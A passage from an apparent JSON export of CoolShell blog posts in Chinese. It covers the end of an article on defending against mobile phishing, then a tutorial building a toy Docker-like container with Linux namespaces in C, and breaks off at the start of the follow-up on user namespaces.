现在使用手机的频率越来越高，所以，我非常建议你使用更为安全的iPhone手机，一定要打开“查找我的iPhone”功能，然后设上开机密码。iPhone手机可以做到手机丢失了别人都无法使用，包括刷机都刷不了（iOS7以上版本）\n\n\n* 对于一些关键网站，开启两步验证，这样就算你的用户名和密码被钓走了，还有一个动态手机口令做为登录的关卡。\n\n\n**技术方面**\n\n\n* 利用SSL证书来保证从浏览器到网站的访问是现在采用比较多的方式，也是在理论上可行的方式。现代的浏览器都会在URL上放上一个锁的标志，对于EV证书，你会看到浏览器的URL是绿色的（很容易分辨）\n\n\n* 另外，像firefox浏览器有一个petname的插件，你可以为你常上的网站设置一些标签。这样，当你打开钓鱼网站的时候，你会发现这些标签没有显示出来，那就有问题了。\n\n\n* 关于SSL的CA认证机构，你需要管理好你浏览的那些根证书，有些根证书你需要删掉。\n\n\n* 还有一种打击网钓的流行作法是保持一份已知的网钓网站名单，并随时更新。比如[PhishTank](https://www.phishtank.com/)，以及[中国防钓鱼网站联盟](http://www.apac.cn)。\n\n\n* 增加式登录方式。这种方式被美国银行采用，就是说，你可以上传一个你自己知道的图片，而当你打开登录页面里时，输入了自己的用户名后，你会看到你设置的这个图片被显示出来。如果没有或是显示错了，表示你打开的是钓鱼网站。\n\n\n* 两步验证，通过用户自设密码+手机动态口令登录（好些网站都在使用Google Authenticator的方式，这有点像公司VPN的动态口令）。\n\n\n上述都是PC Web上的防范，然而我们的手机移动端做的并不够好，移动端的安全还是要加油。\n\n\n**安全风控方面**\n\n\n**什么叫安全风控，说白了就是拿钱出来赔偿给被骗的用户，大家相信我，这个事情在基本上所有的公司都会做的**，也就是说，无论你怎么做安全也无法保证绝对的安全，你只能缓解或是降低用户被骗的数量或概率。所以，几乎所有的公司都会有一笔钱专门用来赔偿。\n\n\n在西方国家，用户体验很好，我说一个故事，我有一个妹妹在英国，有一天她到ATM上取钱，取完钱后忘了把卡取出，结果后面的人把她的卡里的钱取走了，于是她报了警，等警察做完笔录后，她给银行的客服打了个电话说明了情况，本想冻结银行卡的，但是银行方面二话不说就赔偿了她所有的损失。为什么英国的巴克莱银行这么痛快，是因为他们有风控基金，专门用来处理这样的事的。\n\n\n在中国，其实银行和一些大的公司都有这笔安全风控基金，但是，要你非常坚持不懈地申诉，他们才会赔给你，而且还不是全部。要全部的话，我估计你要做一个“刁民”，否则欺负你，没道理。\n\n\n#### 关于微信和淘宝\n\n\n微信和淘宝到底是谁先屏蔽谁我并不关心，这里面的商业利益我也不关心，微信是不是支持卖东西我也不关心。我关心的是寒冬文章中所说的微信上有淘宝钓鱼的安全问题。\n\n\n从技术上来说，我觉得要微信和淘宝一起干这事，单方都不行，需要两边的安全专家一起讨论（如果需要，我可以帮你们约）。我这里给一个可能很不成熟的方案，算是抛砖引玉（我不考虑你们之间的商业竞争，我只从用户的角度出发，客户第一）：\n\n\n\n> **我觉得，从业务上来说，淘宝可以在微信上有一个官方的商城。而淘宝的商家，需要取得微信的认证后入住，才能分享相关的商品或店家链接，对此，商家入住，我觉得可通过微信的服务账号与淘宝的商家后台集成可以做到。**\n> \n> \n> **然后，商家也好，买家也好，他们分享商品只能通过微信官方的商城或是商家的服务账号分享出去，而分享出去的商品信息可以是一个比较unique的形式（比如有一个不能伪造的官方认证的标签），而用户的支付可以通过内置的微信支付也可以通过内置的支付宝（通过唤起App并不是一个好的方式，还是应该你们在服务端进行相互的通信）。**\n> \n> \n> **然后微信和淘宝双方通过宣传手段告诉全社会，微信里的商品什么才是正规的，才不是钓鱼的，并给教育用户更为安全地使用手机。**\n> \n> \n\n\nP.S. 我虽然这么说，但从我个人来说，我非常理解微信为了让用户有很好的体验而不让微信成为一个四处都是营销商品的地方。所以，我从个人来说，希望微信不要成为一个商家的营销地。另外，我也知道阿里对移动端的看重，所以，上述的方案虽然对用户体验和安全都比较好，但是从目前商业利益的情况看来基本无法实现。不过我这里也只是抛砖引玉了。\n\n\n面对安全和用户这两个事，**你们两个中国最大的互联网公司，应该带头做好榜样，你们都是不缺钱的公司，应该更多的承担起社会的责任，真正为用户做点什么，而不是整天想着流量入口，互相屏蔽，互相指责，想着自己能有多少用户，这TMD太LOW了，和你们的地位完全不符。所以，从站在用户的角度上来说，我希望微信和淘宝都能站在用户的角度上思考问题，一起合作来真正的为用户更好的服务。**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\nThe post [关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-4-16 Docker基础技术：Linux Namespace（上）.md",
    "content": "---\nlayout: post\ntitle: Docker基础技术：Linux Namespace（上）\ndate: 2015/4/16/ 2:20:8\nupdated: 2015/4/16/ 2:20:8\nstatus: publish\npublished: true\ntype: post\n---\n\n![isolation](../wp-content/uploads/2015/04/isolation.jpg)时下最热的技术莫过于Docker了，很多人都觉得Docker是个新技术，其实不然，Docker除了其编程语言用go比较新外，其实它还真不是个新东西，也就是个新瓶装旧酒的东西，所谓的The New “Old Stuff”。Docker和Docker衍生的东西用到了很多很酷的技术，我会用几篇 文章来把这些技术给大家做个介绍，希望通过这些文章大家可以自己打造一个山寨版的docker。\n\n\n当然，文章的风格一定会尊重时下的“流行”——**我们再也没有整块整块的时间去看书去专研，而我们只有看微博微信那样的碎片时间**（那怕我们有整块的时间，也被那些在手机上的APP碎片化了）。所以，这些文章的风格必然坚持“马桶风格”（希望简单到占用你拉一泡屎就时间，而且你还不用动脑子，并能学到些东西）\n\n\n废话少说，我们开始。先从Linux Namespace开始。\n\n\n####  简介\n\n\nLinux Namespace是Linux提供的一种内核级别环境隔离的方法。不知道你是否还记得很早以前的Unix有一个叫chroot的系统调用（通过修改根目录把用户jail到一个特定目录下），chroot提供了一种简单的隔离模式：chroot内部的文件系统无法访问外部的内容。Linux Namespace在此基础上，提供了对UTS、IPC、mount、PID、network、User等的隔离机制。\n\n\n\n举个例子，我们都知道，Linux下的超级父亲进程的PID是1，所以，同chroot一样，如果我们可以把用户的进程空间jail到某个进程分支下，并像chroot那样让其下面的进程 看到的那个超级父进程的PID为1，于是就可以达到资源隔离的效果了（不同的PID namespace中的进程无法看到彼此）\n\n\n**Linux Namespace 有如下种类**，官方文档在这里《[Namespace in Operation](http://lwn.net/Articles/531114/)》\n\n\n\n\n| 分类 | 系统调用参数 | 相关内核版本 |\n| --- | --- | --- |\n| **Mount namespaces** | CLONE\\_NEWNS | [Linux 2.4.19](http://lwn.net/2001/0301/a/namespaces.php3) |\n| **UTS namespaces** | CLONE\\_NEWUTS | [Linux 2.6.19](http://lwn.net/Articles/179345/) |\n| **IPC namespaces** | CLONE\\_NEWIPC | [Linux 2.6.19](http://lwn.net/Articles/187274/) |\n| **PID namespaces** | CLONE\\_NEWPID | [Linux 2.6.24](http://lwn.net/Articles/259217/) |\n| **Network namespaces** | CLONE\\_NEWNET | [始于Linux 2.6.24 完成于 Linux 2.6.29](http://lwn.net/Articles/219794/) |\n| **User namespaces** | CLONE\\_NEWUSER | [始于 Linux 2.6.23 完成于 Linux 3.8)](http://lwn.net/Articles/528078/) |\n\n\n主要是三个系统调用\n\n\n* **`clone`****()** – 实现线程的系统调用，用来创建一个新的进程，并可以通过设计上述参数达到隔离。\n* **`unshare`****()** – 使某进程脱离某个namespace\n* **`setns`****()** – 把某进程加入到某个namespace\n\n\nunshare() 和 setns() 都比较简单，大家可以自己man，我这里不说了。\n\n\n下面还是让我们来看一些示例（以下的测试程序最好在Linux 内核为3.8以上的版本中运行，我用的是ubuntu 14.04）。\n\n\n#### clone()系统调用\n\n\n首先，我们来看一下一个最简单的clone()系统调用的示例，（后面，我们的程序都会基于这个程序做修改）：\n\n\n\n```\n#define _GNU_SOURCE\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <stdio.h>\n#include <sched.h>\n#include <signal.h>\n#include <unistd.h>\n\n/* 定义一个给 clone 用的栈，栈大小1M */\n#define STACK_SIZE (1024 * 1024)\nstatic char container_stack[STACK_SIZE];\n\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    /* 直接执行一个shell，以便我们观察这个进程空间里的资源是否被隔离了 */\n    execv(container_args[0], container_args); \n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    /* 调用clone函数，其中传出一个函数，还有一个栈空间的（为什么传尾指针，因为栈是反着的） */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD, NULL);\n    /* 等待子进程结束 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n```\n\n从上面的程序，我们可以看到，这和pthread基本上是一样的玩法。但是，对于上面的程序，父子进程的进程空间是没有什么差别的，父进程能访问到的子进程也能。\n\n\n下面， 让我们来看几个例子看看，Linux的Namespace是什么样的。\n\n\n#### UTS Namespace\n\n\n下面的代码，我略去了上面那些头文件和数据结构的定义，只有最重要的部分。\n\n\n\n```\nint container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    sethostname(\"container\",10); /* 设置hostname */\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | SIGCHLD, NULL); /*启用CLONE_NEWUTS Namespace隔离 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n```\n\n\n```\n运行上面的程序你会发现（需要root权限），子进程的hostname变成了 container。\n```\n\n\n```\nhchen@ubuntu:~$ sudo ./uts\nParent - start a container!\nContainer - inside the container!\nroot@container:~# hostname\ncontainer\nroot@container:~# uname -n\ncontainer\n```\n\n#### IPC Namespace\n\n\nIPC全称 Inter-Process Communication，是Unix/Linux下进程间通信的一种方式，IPC有共享内存、信号量、消息队列等方法。所以，为了隔离，我们也需要把IPC给隔离开来，这样，只有在同一个Namespace下的进程才能相互通信。如果你熟悉IPC的原理的话，你会知道，IPC需要有一个全局的ID，即然是全局的，那么就意味着我们的Namespace需要对这个ID隔离，不能让别的Namespace的进程看到。\n\n\n要启动IPC隔离，我们只需要在调用clone时加上CLONE\\_NEWIPC参数就可以了。\n\n\n\n```\nint container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | SIGCHLD, NULL);\n```\n\n首先，我们先创建一个IPC的Queue（如下所示，全局的Queue ID是0）\n\n\n\n```\nhchen@ubuntu:~$ ipcmk -Q \nMessage queue id: 0\n\nhchen@ubuntu:~$ ipcs -q\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0\n```\n\n如果我们运行没有CLONE\\_NEWIPC的程序，我们会看到，在子进程中还是能看到这个全启的IPC Queue。\n\n\n\n```\nhchen@ubuntu:~$ sudo ./uts \nParent - start a container!\nContainer - inside the container!\n\nroot@container:~# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0\n```\n\n但是，如果我们运行加上了CLONE\\_NEWIPC的程序，我们就会下面的结果：\n\n\n\n```\nroot@ubuntu:~$ sudo./ipc\nParent - start a container!\nContainer - inside the container!\n\nroot@container:~/linux_namespace# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages\n```\n\n我们可以看到IPC已经被隔离了。\n\n\n#### PID Namespace\n\n\n我们继续修改上面的程序：\n\n\n\n```\n\nint container_main(void* arg)\n{\n    /* 查看子进程的PID，我们可以看到其输出子进程的 pid 为 1 */\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /*启用PID namespace - CLONE_NEWPID*/\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | SIGCHLD, NULL); \n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n```\n\n运行结果如下（我们可以看到，子进程的pid是1了）：\n\n\n\n```\n\nhchen@ubuntu:~$ sudo ./pid\nParent [ 3474] - start a container!\nContainer [ 1] - inside the container!\nroot@container:~# echo $$\n1\n```\n\n你可能会问，PID为1有个毛用啊？我们知道，在传统的UNIX系统中，PID为1的进程是init，地位非常特殊。他作为所有进程的父进程，有很多特权（比如：屏蔽信号等），另外，其还会为检查所有进程的状态，我们知道，如果某个子进程脱离了父进程（父进程没有wait它），那么init就会负责回收资源并结束这个子进程。所以，要做到进程空间的隔离，首先要创建出PID为1的进程，最好就像chroot那样，把子进程的PID在容器内变成1。\n\n\n**但是，我们会发现，在子进程的shell里输入ps,top等命令，我们还是可以看得到所有进程**。说明并没有完全隔离。这是因为，像ps, top这些命令会去读/proc文件系统，所以，因为/proc文件系统在父进程和子进程都是一样的，所以这些命令显示的东西都是一样的。\n\n\n所以，我们还需要对文件系统进行隔离。\n\n\n#### Mount Namespace\n\n\n下面的例程中，我们在启用了mount namespace并在子进程中重新mount了/proc文件系统。\n\n\n\n```\nint container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    /* 重新mount proc文件系统到 /proc下 */\n    system(\"mount -t proc proc /proc\");\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /* 启用Mount Namespace - 增加CLONE_NEWNS参数 */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n```\n\n运行结果如下：\n\n\n\n```\n\nhchen@ubuntu:~$ sudo ./pid.mnt\nParent [ 3502] - start a container!\nContainer [    1] - inside the container!\nroot@container:~# ps -elf \nF S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD\n4 S root         1     0  0  80   0 -  6917 wait   19:55 pts/2    00:00:00 /bin/bash\n0 R root        14     1  0  80   0 -  5671 -      19:56 pts/2    00:00:00 ps -elf\n\n```\n\n上面，我们可以看到只有两个进程 ，而且pid=1的进程是我们的/bin/bash。我们还可以看到/proc目录下也干净了很多：\n\n\n\n```\n\nroot@container:~# ls /proc\n1          dma          key-users   net            sysvipc\n16         driver       kmsg        pagetypeinfo   timer_list\nacpi       execdomains  kpagecount  partitions     timer_stats\nasound     fb           kpageflags  sched_debug    tty\nbuddyinfo  filesystems  loadavg     schedstat      uptime\nbus        fs           locks       scsi           version\ncgroups    interrupts   mdstat      self           version_signature\ncmdline    iomem        meminfo     slabinfo       vmallocinfo\nconsoles   ioports      misc        softirqs       vmstat\ncpuinfo    irq          modules     stat           zoneinfo\ncrypto     kallsyms     mounts      swaps\ndevices    kcore        mpt         sys\ndiskstats  keys         mtrr        sysrq-trigger\n\n```\n\n下图，我们也可以看到在子进程中的top命令只看得到两个进程了。\n\n\n![](../wp-content/uploads/2015/04/mount.namespace.jpg)\n\n\n这里，多说一下。在通过CLONE\\_NEWNS创建mount namespace后，父进程会把自己的文件结构复制给子进程中。而子进程中新的namespace中的所有mount操作都只影响自身的文件系统，而不对外界产生任何影响。这样可以做到比较严格地隔离。\n\n\n\n你可能会问，我们是不是还有别的一些文件系统也需要这样mount? 是的。\n\n\n#### Docker的 Mount Namespace\n\n\n下面我将向演示一个“山寨镜像”，其模仿了Docker的Mount Namespace。\n\n\n首先，我们需要一个rootfs，也就是我们需要把我们要做的镜像中的那些命令什么的copy到一个rootfs的目录下，我们模仿Linux构建如下的目录：\n\n\n\n```\nhchen@ubuntu:~/rootfs$ ls\nbin  dev  etc  home  lib  lib64  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var\n```\n\n然后，我们把一些我们需要的命令copy到 rootfs/bin目录中（sh命令必需要copy进去，不然我们无法 chroot ）\n\n\n\n```\n\nhchen@ubuntu:~/rootfs$ ls ./bin ./usr/bin\n \n./bin:\nbash   chown  gzip      less  mount       netstat  rm     tabs  tee      top       tty\ncat    cp     hostname  ln    mountpoint  ping     sed    tac   test     touch     umount\nchgrp  echo   ip        ls    mv          ps       sh     tail  timeout  tr        uname\nchmod  grep   kill      more  nc          pwd      sleep  tar   toe      truncate  which\n\n./usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n\n```\n\n注：你可以使用ldd命令把这些命令相关的那些so文件copy到对应的目录：\n\n\n\n```\n\nhchen@ubuntu:~/rootfs/bin$ ldd bash\n  linux-vdso.so.1 =>  (0x00007fffd33fc000)\n  libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4bd42c2000)\n  libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4bd40be000)\n  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4bd3cf8000)\n  /lib64/ld-linux-x86-64.so.2 (0x00007f4bd4504000)\n\n```\n\n下面是我的rootfs中的一些so文件：\n\n\n\n```\n\nhchen@ubuntu:~/rootfs$ ls ./lib64 ./lib/x86_64-linux-gnu/\n\n./lib64:\nld-linux-x86-64.so.2\n\n./lib/x86_64-linux-gnu/:\nlibacl.so.1      libmemusage.so         libnss_files-2.19.so    libpython3.4m.so.1\nlibacl.so.1.1.0  libmount.so.1          libnss_files.so.2       libpython3.4m.so.1.0\nlibattr.so.1     libmount.so.1.1.0      libnss_hesiod-2.19.so   libresolv-2.19.so\nlibblkid.so.1    libm.so.6              libnss_hesiod.so.2      libresolv.so.2\nlibc-2.19.so     libncurses.so.5        libnss_nis-2.19.so      libselinux.so.1\nlibcap.a         libncurses.so.5.9      libnss_nisplus-2.19.so  libtinfo.so.5\nlibcap.so        libncursesw.so.5       libnss_nisplus.so.2     libtinfo.so.5.9\nlibcap.so.2      libncursesw.so.5.9     libnss_nis.so.2         libutil-2.19.so\nlibcap.so.2.24   libnsl-2.19.so         libpcre.so.3            libutil.so.1\nlibc.so.6        libnsl.so.1            libprocps.so.3          libuuid.so.1\nlibdl-2.19.so    libnss_compat-2.19.so  libpthread-2.19.so      libz.so.1\nlibdl.so.2       libnss_compat.so.2     libpthread.so.0\nlibgpm.so.2      libnss_dns-2.19.so     libpython2.7.so.1\nlibm-2.19.so     libnss_dns.so.2        libpython2.7.so.1.0\n\n```\n\n包括这些命令依赖的一些配置文件：\n\n\n\n```\n\nhchen@ubuntu:~/rootfs$ ls ./etc\nbash.bashrc  group  hostname  hosts  ld.so.cache  nsswitch.conf  passwd  profile  \nresolv.conf  shadow\n\n```\n\n你现在会说，我靠，有些配置我希望是在容器起动时给他设置的，而不是hard code在镜像中的。比如：/etc/hosts，/etc/hostname，还有DNS的/etc/resolv.conf文件。好的。那我们在rootfs外面，我们再创建一个conf目录，把这些文件放到这个目录中。\n\n\n\n```\nhchen@ubuntu:~$ ls ./conf\nhostname     hosts     resolv.conf\n```\n\n这样，我们的父进程就可以动态地设置容器需要的这些文件的配置， 然后再把他们mount进容器，这样，容器的镜像中的配置就比较灵活了。\n\n\n好了，终于到了我们的程序。\n\n\n\n```\n\n#define _GNU_SOURCE\n#include types.h>\n#include wait.h>\n#include mount.h>\n#include \n#include \n#include \n#include \n\n#define STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"bin/bash\",\n    \"-l\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    if (mount(\"proc\", \"rootfs/proc\", \"proc\", 0, NULL) !=0 ) {\n        perror(\"proc\");\n    }\n    if (mount(\"sysfs\", \"rootfs/sys\", \"sysfs\", 0, NULL)!=0) {\n        perror(\"sys\");\n    }\n    if (mount(\"none\", \"rootfs/tmp\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"tmp\");\n    }\n    if (mount(\"udev\", \"rootfs/dev\", \"devtmpfs\", 0, NULL)!=0) {\n        perror(\"dev\");\n    }\n    if (mount(\"devpts\", \"rootfs/dev/pts\", \"devpts\", 0, NULL)!=0) {\n        perror(\"dev/pts\");\n    }\n    if (mount(\"shm\", \"rootfs/dev/shm\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"dev/shm\");\n    }\n    if (mount(\"tmpfs\", \"rootfs/run\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"run\");\n    }\n    /* \n     * 模仿Docker的从外向容器里mount相关的配置文件 \n     * 你可以查看：/var/lib/docker/containers//目录，\n     * 你会看到docker的这些文件的。\n     */\n    if (mount(\"conf/hosts\", \"rootfs/etc/hosts\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/hostname\", \"rootfs/etc/hostname\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/resolv.conf\", \"rootfs/etc/resolv.conf\", \"none\", MS_BIND, NULL)!=0 ) {\n        perror(\"conf\");\n    }\n    /* 模仿docker run命令中的 -v, --volume=[] 参数干的事 */\n    if (mount(\"/tmp/t1\", \"rootfs/mnt\", \"none\", MS_BIND, NULL)!=0) {\n        perror(\"mnt\");\n    }\n\n    /* chroot 隔离目录 */\n    if ( chdir(\"./rootfs\") != 0 || chroot(\"./\") != 0 ){\n        perror(\"chdir/chroot\");\n    }\n\n    execv(container_args[0], container_args);\n    perror(\"exec\");\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n\n```\n\nsudo运行上面的程序，你会看到下面的挂载信息以及一个所谓的“镜像”：\n\n\n\n```\n\nhchen@ubuntu:~$ sudo ./mount \nParent [ 4517] - start a container!\nContainer [    1] - inside the container!\nroot@container:/# mount\nproc on /proc type proc (rw,relatime)\nsysfs on /sys type sysfs (rw,relatime)\nnone on /tmp type tmpfs (rw,relatime)\nudev on /dev type devtmpfs (rw,relatime,size=493976k,nr_inodes=123494,mode=755)\ndevpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)\ntmpfs on /run type tmpfs (rw,relatime)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n\nroot@container:/# ls /bin /usr/bin\n/bin:\nbash   chmod  echo  hostname  less  more  mv   ping  rm   sleep  tail  test    top   truncate  uname\ncat    chown  grep  ip        ln    mount  nc   ps    sed  tabs   tar   timeout  touch  tty     which\nchgrp  cp     gzip  kill      ls    mountpoint  netstat  pwd   sh   tac    tee   toe    tr   umount\n\n/usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n\n```\n\n关于如何做一个chroot的目录，这里有个工具叫[DebootstrapChroot](https://wiki.ubuntu.com/DebootstrapChroot)，你可以顺着链接去看看（英文的哦）\n\n\n接下来的事情，你可以自己玩了，我相信你的想像力 。：）\n\n\n在下一篇，我将向你介绍User Namespace、Network Namespace以及Namespace的其它东西。\n\n\n **[<<<< Docker基础技术：Linux Namespace（下）>>>>](https://coolshell.cn/articles/17029.html \"Docker基础技术：Linux Namespace（下）\")** \n\n\n（上篇完，[请参看下篇](https://coolshell.cn/articles/17029.html \"Docker基础技术：Linux Namespace（下）\")）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Docker基础技术：DeviceMapper](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg)](https://coolshell.cn/articles/17200.html)[Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](https://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\nThe post [Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-4-16 Docker基础技术：Linux Namespace（下）.md",
    "content": "---\nlayout: post\ntitle: Docker基础技术：Linux Namespace（下）\ndate: 2015/4/16/ 2:19:23\nupdated: 2015/4/16/ 2:19:23\nstatus: publish\npublished: true\ntype: post\n---\n\n![jail_cell](../wp-content/uploads/2015/04/jail_cell.jpg)在 **[Docker基础技术：Linux Namespace（上篇）](https://coolshell.cn/articles/17010.html \"Docker基础技术：Linux Namespace（上）\")**中我们了解了，UTD、IPC、PID、Mount 四个namespace，我们模仿Docker做了一个相当相当山寨的镜像。在这一篇中，主要想向大家介绍Linux的User和Network的Namespace。\n\n\n好，下面我们就介绍一下还剩下的这两个Namespace。\n\n\n#### User Namespace\n\n\nUser Namespace主要是用了CLONE\\_NEWUSER的参数。使用了这个参数后，内部看到的UID和GID已经与外部不同了，默认显示为65534。那是因为容器找不到其真正的UID所以，设置上了最大的UID（其设置定义在/proc/sys/kernel/overflowuid）。\n\n\n要把容器中的uid和真实系统的uid给映射在一起，需要修改 **/proc/<pid>/uid\\_map** 和 **/proc/<pid>/gid\\_map** 这两个文件。这两个文件的格式为：\n\n\n**ID-inside-ns ID-outside-ns length**\n\n\n其中：\n\n\n\n* 第一个字段ID-inside-ns表示在容器显示的UID或GID，\n* 第二个字段ID-outside-ns表示容器外映射的真实的UID或GID。\n* 第三个字段表示映射的范围，一般填1，表示一一对应。\n\n\n比如，把真实的uid=1000映射成容器内的uid=0\n\n\n\n```\n$ cat /proc/2465/uid_map\n         0       1000          1\n```\n\n再比如下面的示例：表示把namespace内部从0开始的uid映射到外部从0开始的uid，其最大范围是无符号32位整形\n\n\n\n```\n$ cat /proc/$$/uid_map\n         0          0          4294967295\n```\n\n另外，需要注意的是：\n\n\n* 写这两个文件的进程需要这个namespace中的CAP\\_SETUID (CAP\\_SETGID)权限（可参看[Capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)）\n* 写入的进程必须是此user namespace的父或子的user namespace进程。\n* 另外需要满如下条件之一：1）父进程将effective uid/gid映射到子进程的user namespace中，2）父进程如果有CAP\\_SETUID/CAP\\_SETGID权限，那么它将可以映射到父进程中的任一uid/gid。\n\n\n这些规则看着都烦，我们来看程序吧（下面的程序有点长，但是非常简单，如果你读过《Unix网络编程》上卷，你应该可以看懂）：\n\n\n\n```\n#define 